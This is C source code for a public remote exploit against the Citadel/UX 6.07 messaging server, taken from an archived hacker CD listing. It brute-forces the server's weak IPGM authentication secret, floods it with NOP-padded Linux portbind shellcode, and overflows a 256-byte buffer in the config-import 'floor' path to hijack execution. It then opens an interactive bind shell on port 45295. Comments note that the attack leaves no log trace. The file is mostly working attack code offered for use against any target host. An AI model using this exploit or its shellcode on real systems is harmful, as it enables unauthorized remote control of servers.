home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / clivtt / CLIVITT-2003-4-Citadel-exploit.c
Encoding:
C/C++ Source or Header  |  2003-08-20  |  15.4 KB  |  496 lines

  1. /*
  2.   Citadel/UX 6.07 Remote exploit
  3.   By Carl Livitt, July 2003
  4.   carllivitt at hush dot com
  5.  
  6.   Public release version of the IPGM exploit. This probably has bugs...
  7.   if you fix them, please mail them back to me!
  8. */
  9. #include <sys/types.h>
  10. #include <sys/stat.h>
  11. #include <sys/socket.h>
  12. #include <net/if.h>
  13. #include <netinet/in.h>
  14. #include <netinet/tcp.h>
  15. #include <arpa/inet.h>
  16. #include <stdio.h>
  17. #include <string.h>
  18. #include <unistd.h>
  19. #include <signal.h>
  20. #include <netdb.h>
  21. #include <time.h>
  22. #include <stdarg.h>
  23.  
  24. // If you change these, things will probably break.
  25. #define SIZ 4096
  26. #define LEN 298
  27. #define RET 0xbfffaf20
  28. #define CITADEL_PORT 504
  29. #define SHELL_PORT 45295
  30. #define LOCAL_NET()    if(localNet) {my_sleep(nanoSecondsToSleep);}
  31. #define CHANCE_COUNTER 5
  32. #define NODELAY_ERR -1
  33. #define SOCKET_ERR -2
  34. #define CONNECT_ERR -3
  35. #define HOST_NOT_RESOLVED -4
  36. #define BRUTE_FORCE_EXHAUSTED -5
  37. #define INCORRECT_IPGM_SECRET -6
  38. #define SHELL_NOT_FOUND -7
  39. #define SUCCESS 1
  40. #define FAILED 0
  41.  
  42. // I'm using prewritten shellcode today... Laziness, Impatience, Hubris!
  43. // --------
  44. // linux x86 shellcode by eSDee of Netric (www.netric.org)
  45. // 200 byte - forking portbind shellcode - port=0xb0ef(45295)
  46. char shellcode[]=
  47.     "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
  48.     "\x06\x51\xb1\x01\x51\xb1\x02\x51"
  49.     "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
  50.     "\x89\xc1\x31\xc0\x31\xdb\x50\x50"
  51.     "\x50\x66\x68\xb0\xef\xb3\x02\x66"
  52.     "\x53\x89\xe2\xb3\x10\x53\xb3\x02"
  53.     "\x52\x51\x89\xca\x89\xe1\xb0\x66"
  54.     "\xcd\x80\x31\xdb\x39\xc3\x74\x05"
  55.     "\x31\xc0\x40\xcd\x80\x31\xc0\x50"
  56.     "\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
  57.     "\x80\x89\xd7\x31\xc0\x31\xdb\x31"
  58.     "\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
  59.     "\x80\x31\xc0\x31\xdb\x50\x50\x57"
  60.     "\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
  61.     "\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
  62.     "\xcd\x80\x39\xc3\x75\x40\x31\xc0"
  63.     "\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
  64.     "\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
  65.     "\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
  66.     "\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
  67.     "\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  68.     "\x62\x69\x6e\x89\xe3\x8b\x54\x24"
  69.     "\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
  70.     "\x80\x31\xc0\x40\xcd\x80\x31\xc0"
  71.     "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
  72.  
  73. // These kind of appeared as the exploit was developed
  74. void my_send(int, char *, ...);
  75. void my_recv(int);
  76. void make_shellcode(char *);
  77. void make_exploitbuf(char *);
  78. int brute_force(int);
  79. void usage(void);
  80. void my_sleep(int);
  81. void increase_chances(int,int);
  82. int connect_to_host(char *, int);
  83. int attempt_exploit(void);
  84.  
  85. // As did these... all global, as they kepy moving
  86. // between functions and I grew sick of it...
  87. int localNet=0, bufLenAdjust=0;
  88. int nanoSecondsToSleep=100000;
  89. int SEED_START=10;
  90. int SEED_MAX=30000;
  91. int NUM_ATTEMPTS=4;
  92. int RESPAWN_SLEEP=10;
  93. int seed;
  94. struct timespec t;
  95. unsigned long retAddr=RET;
  96. char buf[SIZ], host[SIZ];
  97. int magicNumber=0,sock,adjustRet=0,ch,retVal,i,r;
  98. fd_set rfds;
  99.  
  100. main(int argc, char **argv) {
  101.     int exploitAttempts=0;
  102.  
  103.     // parse command-line
  104.     while((ch=getopt(argc, argv, "t:li:s:hr:a:A:o:O:b:B:n:S:"))!=-1) {
  105.         switch(ch) {
  106.             case 't':
  107.                 strncpy(host, optarg, SIZ-1);
  108.                 break;
  109.             case 'i':
  110.                 magicNumber=atoi(optarg);
  111.                 printf("[-] Using IPGM secret: %d\n", magicNumber);
  112.                 break;
  113.             case 'l':
  114.                 localNet=1;
  115.                 printf("[-] Using local net hack\n");
  116.                 break;
  117.             case 's':
  118.                 nanoSecondsToSleep=atoi(optarg);
  119.                 printf("[-] Using sleep count of %d where necessary\n", nanoSecondsToSleep);
  120.                 break;
  121.             case 'r':
  122.                 retAddr=strtoul(optarg,NULL,16);
  123.                 printf("[-] Using RET address: 0x%08x\n", retAddr);
  124.                 break;
  125.             case 'a':
  126.                 adjustRet=atoi(optarg);
  127.                 retAddr+=adjustRet;
  128.                 printf("[-] Using RET address: 0x%08x\n", retAddr);
  129.                 break;
  130.             case 'A':
  131.                 adjustRet=atoi(optarg);
  132.                 retAddr-=adjustRet;
  133.                 printf("[-] Using RET address: 0x%08x\n", retAddr);
  134.                 break;
  135.             case 'o':
  136.                 bufLenAdjust=atoi(optarg);
  137.                 printf("[-] Increasing overflow buffer by %d bytes\n", bufLenAdjust);
  138.                 break;
  139.             case 'O':
  140.                 bufLenAdjust=atoi(optarg);
  141.                 bufLenAdjust=-bufLenAdjust;
  142.                 printf("[-] Decreasing overflow buffer by %d bytes\n", bufLenAdjust);
  143.                 break;
  144.             case 'b':
  145.                 SEED_START=atoi(optarg);
  146.                 printf("[-] Bruteforce starting at srand(%d)\n", SEED_START);
  147.                 break;
  148.             case 'B':
  149.                 SEED_MAX=atoi(optarg);
  150.                 printf("[-] Bruteforce ending at srand(%d)\n", SEED_MAX);
  151.                 break;
  152.             case 'n':
  153.                 NUM_ATTEMPTS=atoi(optarg);
  154.                 printf("[-] Will try exploit %d times\n", NUM_ATTEMPTS);
  155.                 break;
  156.             case 'S':
  157.                 RESPAWN_SLEEP=atoi(optarg);
  158.                 printf("[-] Will sleep for %d seconds between exploit attempts\n");
  159.                 break;
  160.             case 'h':
  161.             default:
  162.                 usage();
  163.                 exit(0);
  164.         }
  165.     }
  166.  
  167.     while(exploitAttempts++ < NUM_ATTEMPTS && (retVal=attempt_exploit())!=SUCCESS) {
  168.         switch(retVal) {
  169.             case HOST_NOT_RESOLVED:
  170.                 printf("[*] Couldn't connect to host: %s not found.\n", host);
  171.                 exit(1);
  172.                 break;
  173.             case SOCKET_ERR:
  174.                 printf("[*] Couldn't grab a socket!\n");
  175.                 exit(1);
  176.                 break;
  177.             case CONNECT_ERR:
  178.                 printf("[*] Connection to %s was rejected\n",host);
  179.                 exit(1);
  180.             case NODELAY_ERR:
  181.                 printf("[!] WARNING: Failed to set TCP_NODELAY option on socket\n");
  182.                 break;
  183.             case BRUTE_FORCE_EXHAUSTED:
  184.                 printf("[*] Brute force operation failed. Aborting.\n");
  185.                 exit(1);
  186.                 break;
  187.             case INCORRECT_IPGM_SECRET:
  188.                 printf("[*] IPGM secret incorrect!\n");
  189.                 exit(1);
  190.                 break;
  191.             case SHELL_NOT_FOUND:
  192.                 printf("[!] This attempt failed... waiting for INIT to respawn Citadel...\n");
  193.                 sleep(RESPAWN_SLEEP);
  194.                 break;
  195.             default:
  196.                 printf("[*] ERROR: There was no error!\n");
  197.                 break;
  198.         }
  199.     }
  200.     if(exploitAttempts==NUM_ATTEMPTS)
  201.         printf("[-] Exploit failed %d times. Aborting.\n", exploitAttempts);
  202.  
  203.     printf("\nHave a nice day!\n");
  204.     exit(0);
  205. }
  206.  
  207. int attempt_exploit(void) {
  208.     int magic;
  209.  
  210.     // Connect to the host and grab the banner
  211.     printf("[-] Connecting to Citadel server (%s) on port %d\n", host, CITADEL_PORT);
  212.     if((sock=connect_to_host(host,CITADEL_PORT)) < 1)
  213.         return sock;
  214.     my_recv(sock);
  215.  
  216.     // Attempt to brute-force the secret IPGM authentication number.
  217.     // Only do this if magic number is not given on command-line (-i flag).
  218.     magic=magicNumber;
  219.     if(!magic) {
  220.         printf("[-] Starting bruteforce operation ...\n");fflush(stdout);
  221.         if((magic=brute_force(sock))==-1) {
  222.             return BRUTE_FORCE_EXHAUSTED;
  223.         }
  224.         printf("[-] Success! IPGM=%d (seed: %d)\n", magic, seed);
  225.         magicNumber=magic; // set magicNumber so we don't run bruteforcer again
  226.  
  227.         // Tear down the socket, and reconnect again (to reauthenticate),
  228.         printf("[-] Re-establishing connection to %s ...\n",host);
  229.         my_send(sock, "QUIT\n");
  230.         my_recv(sock);
  231.         close(sock);
  232.         if(!(sock=connect_to_host(host,CITADEL_PORT)))
  233.             return sock;
  234.     }
  235.  
  236.     // Authenticate as internal program, but unlike the brute-force attempts,
  237.     // tag 4K of shellcode on the end of the request
  238.     printf("[-] Authenticating as internal progam ...\n");
  239.     make_shellcode(buf);
  240.     my_send(sock, "IPGM %d %s\n", magic, buf);
  241.     LOCAL_NET();
  242.     buf[recv(sock,buf,SIZ-1,0)]=0; // don't do this at home, kids!
  243.     if(strncmp(buf, "200",3)) {
  244.         return INCORRECT_IPGM_SECRET;
  245.     }
  246.  
  247.     // Increase the chance of the shellcode being in the correct place at the
  248.     // correct time by sending it many times... this lets each worker thread
  249.     // in Citserver copy the shellcode into a buffer, making it almost
  250.     // certain that we can jump to it successfully (it hasn't failed once!)
  251.     // Shellcode is stored in a buffer that is used by Citserver to hold
  252.     // text that would normally get logged to stderr. As Citserver usually
  253.     // runs as a daemon, this exploit doesn't show in any logs at all.
  254.     increase_chances(sock,magic);
  255.  
  256.     // Enter configuration import mode, specifically the 'floor' section,
  257.     // although I think others may be vulnerable too
  258.     printf("[-] Entering config mode ...\n");
  259.     my_send(sock, "ARTV import\n");
  260.     my_recv(sock);
  261.     my_send(sock, "floor\n");
  262.  
  263.     // Start the vulnerable import process which blindly reads in 6 lines of
  264.     // data. These lines are read into buffers 4K in size, and the data is
  265.     // also truncated at 4K... Unfortunately, the 3rd line goes into a 256
  266.     // byte buffer which, of course, overflows..
  267.     printf("[-] Sending exploit strings ...\n");
  268.     my_send(sock, "a\n");
  269.     my_send(sock, "a\n");
  270.  
  271.     // Overflow occurs when this buffer is read by the server, so make sure
  272.     // it's padded to the correct size with the evil RET address tagged on
  273.     // the end.
  274.     make_exploitbuf(buf);
  275.     my_send(sock,buf);
  276.  
  277.     // Send the final 3 lines of text. It can be anything we like...
  278.     make_shellcode(buf);
  279.     for(i=0;i<3;i++)
  280.         my_send(sock,buf);
  281.  
  282.     // The server will now have RETurned to the new, malicious saved EIP and
  283.     // is executing the shellcode... We close the connection, wait a couple of
  284.     // seconds and then connect to the shell which is bound to port 45295.
  285.     close(sock);
  286.  
  287.     printf("[-] Waiting before connecting to shell...\n");
  288.     sleep(2);
  289.     printf("[-] Now connecting to shell...\n");
  290.     if(!(sock=connect_to_host(host,SHELL_PORT))) {
  291.         return SHELL_NOT_FOUND;
  292.     }
  293.     printf("[-] Connected! You can type commands now:\n");
  294.  
  295.         // Now let the attacker issue commands to the remote
  296.         // shell, just as if (s)he had launched 'nc host 45295'.
  297.         do {
  298.                 FD_ZERO(&rfds);
  299.                 FD_SET(0, &rfds);
  300.                 FD_SET(sock, &rfds);
  301.                 retVal=select(sock+1, &rfds, NULL, NULL, NULL);
  302.                 if(retVal) {
  303.                         if(FD_ISSET(sock, &rfds)) {
  304.                                 buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!
  305.                                 printf("%s", buf);
  306.                         }
  307.                         if(FD_ISSET(0, &rfds)) {
  308.                                 buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!
  309.                                 send(sock, buf, strlen(buf), 0);
  310.                         }
  311.  
  312.                 }
  313.         } while(retVal && r); // loop until connection terminates
  314.  
  315.     // Be an environmentally friendly programmer and free resources before exiting...
  316.     close(sock);
  317.     return 1;
  318. }
  319.  
  320. // Given a hostname (or IP address) and a port number, this function
  321. // connects a TCP stream and returns a socket number (or dies trying)
  322. int connect_to_host(char *h, int p) {
  323.     int sock,tmp=1;
  324.         struct hostent *host;
  325.         struct sockaddr_in saddr;
  326.  
  327.     if((host=gethostbyname(h))==NULL) {
  328.                 return HOST_NOT_RESOLVED;
  329.         }
  330.  
  331.         if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
  332.                 return SOCKET_ERR;
  333.         }
  334.         memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
  335.         saddr.sin_family=AF_INET;
  336.         saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
  337.         saddr.sin_port=htons(p);
  338.         if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
  339.                 return CONNECT_ERR;
  340.         }
  341.  
  342.     // We want this to stop bad buffering on fast networks... TCP_NODELAY seems
  343.     // to fix strange and intermittent buffering issues on some test boxes,
  344.     // especially when coupled with 'local net' mode ( See 'help' in usage() ).
  345.     if(setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&tmp, sizeof(tmp))!=0) {
  346.         return NODELAY_ERR;
  347.     }
  348.  
  349.     return sock;
  350. }
  351.  
  352. // This will brute-force the secret IPGM (Internal ProGraM) authentication
  353. // code for the Citadel server. The IPGM secrets are determined at install
  354. // time and use a very weak random number generator that creates precisely
  355. // reproducable 'random' numbers. By default, this brute-forcer is setup to
  356. // try about 29990 32-bit 'secret' numbers... it's overkill but catches 100%
  357. // of Citadel installations tested so far.
  358. // Returns IPGM secret number if successful, -1 if not.
  359. // Note: This could be a lot more efficient... but seeing as this is a public
  360. // release, better not make it _too_ efficient, eh?
  361. int brute_force(int s) {
  362.         char buf[SIZ];
  363.     int exitFlag=0, randomNum;
  364.  
  365.     // Loop through each seed and try the random number...
  366.     seed=SEED_START;
  367.         while(!exitFlag && seed<=SEED_MAX) {
  368.         printf("[-] Bruteforcing ... %d of %d\r", seed, SEED_MAX);fflush(stdout);
  369.         srand(seed);
  370.                 my_send(s, "IPGM %d\n", (randomNum=rand()));
  371.         memset(buf,0,SIZ-1);
  372.         LOCAL_NET();
  373.                 recv(s, buf, SIZ-1, 0);
  374.                 if(!strncmp(buf, "200",3))
  375.                         exitFlag=1;
  376.         seed++;
  377.         }
  378.     printf("                                                               \r");
  379.  
  380.     // Return the magic number to the caller if successful.
  381.     // Note: we have already been successfully IPGM authenticated,
  382.     // so no need to do it again in the calling function.
  383.     if(exitFlag)
  384.         return randomNum;
  385.     else
  386.         return -1;
  387. }
  388.  
  389. // Fairly standard function to fill a buffer with LEN bytes of padding,
  390. // followed by the RET address to overwrite saved EIP with. An extra non-
  391. // printable character is added at the end of the buffer because the Citadel
  392. // server will convert the last non-printable character in a buffer to NULL.
  393. void make_exploitbuf(char *b) {
  394.     int l;
  395.  
  396.     memset(b,0x00,SIZ-1);
  397.     memset(b,'a',LEN+bufLenAdjust);
  398.     l=strlen(b);
  399.     b[l]=retAddr&0xff;
  400.     b[l+1]=(retAddr&0xff00)>>8;
  401.     b[l+2]=(retAddr&0xff0000)>>16;
  402.     b[l+3]=(retAddr&0xff000000)>>24;
  403.  
  404.     // make sure there is a non-printable char _after_ the RET address, because the server
  405.     // will replace the last non-printable char with a NULL... we don't want our RET NULLified!
  406.     strcat(b, "_\x01\n");
  407. }
  408.  
  409. // Pad out the shellcode buffer with NOPs to make it easier to hit the
  410. // shellcode when the server RETurns from the vulnerable function. Again,
  411. // a non-printable char is added to the end of the buffer.
  412. void make_shellcode(char *b) {
  413.     int l;
  414.  
  415.     memset(b,0,SIZ-1);
  416.     memset(b,0x90,SIZ-40); // 40 is arbitrary - enough room for IPGM xxxxxxxxxx
  417.     memcpy(b+(SIZ-42)-strlen(shellcode), shellcode, strlen(shellcode));
  418.     strcat(b,"\x01"); // nonprintable chaar
  419. }
  420.  
  421. // Handy little function to send formattable data down a socket.
  422. void my_send(int s, char *b, ...) {
  423.     va_list ap;
  424.     char *buf;
  425.  
  426.     va_start(ap,b);
  427.     vasprintf(&buf,b,ap);
  428.     send(s,buf,strlen(buf),0);
  429.     va_end(ap);
  430.     free(buf);
  431. }
  432.  
  433. // Another handy function to read data from a socket.
  434. void my_recv(int s) {
  435.     int len;
  436.     char buf[SIZ];
  437.  
  438.     LOCAL_NET();
  439.     len=recv(s, buf, SIZ-1, 0);
  440.         buf[len]=0;
  441.     // do stuff with buf[] here...
  442.     //printf("%s");
  443. }
  444.  
  445. // No prizes for guessing what this does....
  446. // Note: this style of multi-line text strings is deprecated and won't compile
  447. // under GCC 3.3 - I don't care.
  448. void usage(void) {
  449.     printf("
  450. Citadel Exploit - Public Release Version
  451. By Carl Livitt (carllivitt at hush dot com)
  452.  
  453. Flags:
  454.     -t target    Attack host 'target'
  455.     -l        Use 'local net' mode: adds small pauses
  456.             between send() and recv() calls. Has more
  457.             chance of succeding on fast networks
  458.     -i number    Specify IPGM number if known - avoids
  459.             doing brute force discovery
  460.     -s nanosecs    Sleep for 'nanosecs' when in local net mode
  461.             default: 100000
  462.     -r address    Specify RET address
  463.     -a adjustment    Add 'adjustment' to RET address
  464.     -A adjustment    Subtract 'adjustment' to RET address
  465.     -o adjustment    Add 'adjustment' to overflow buffer length
  466.     -O adjustment    Subtract 'adjustment' from overflow buffer length
  467.     -b number    Start bruteforce srand() seed at 'number'
  468.     -B number    End bruteforce srand() seed at 'number'
  469.     -n number    Attempt the exploit 'number' times
  470.     -S seconds    Sleep for 'seconds' between exploit attempts
  471.     -h        You're reading it.
  472. ");
  473. }
  474.  
  475. // Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
  476. void my_sleep(int n) {
  477.     t.tv_sec=0;
  478.     t.tv_nsec=n;
  479.     nanosleep(&t,&t);
  480. }
  481.  
  482. // Flood the citadel server CHANCE_COUNTER times with the shellcode
  483. // to try and make it more likely for the shellcode to be in the right
  484. // place at the right time. This function makes one helluva difference
  485. // to the exploits reliability (100% reliable to date).
  486. void increase_chances(int s, int m) {
  487.     char buf[SIZ];
  488.     int i;
  489.  
  490.     make_shellcode(buf);
  491.     for(i=0;i<CHANCE_COUNTER;i++) {
  492.         my_send(s, "IPGM %d %s\n", m, buf);
  493.         my_recv(s);
  494.     }
  495. }
  496.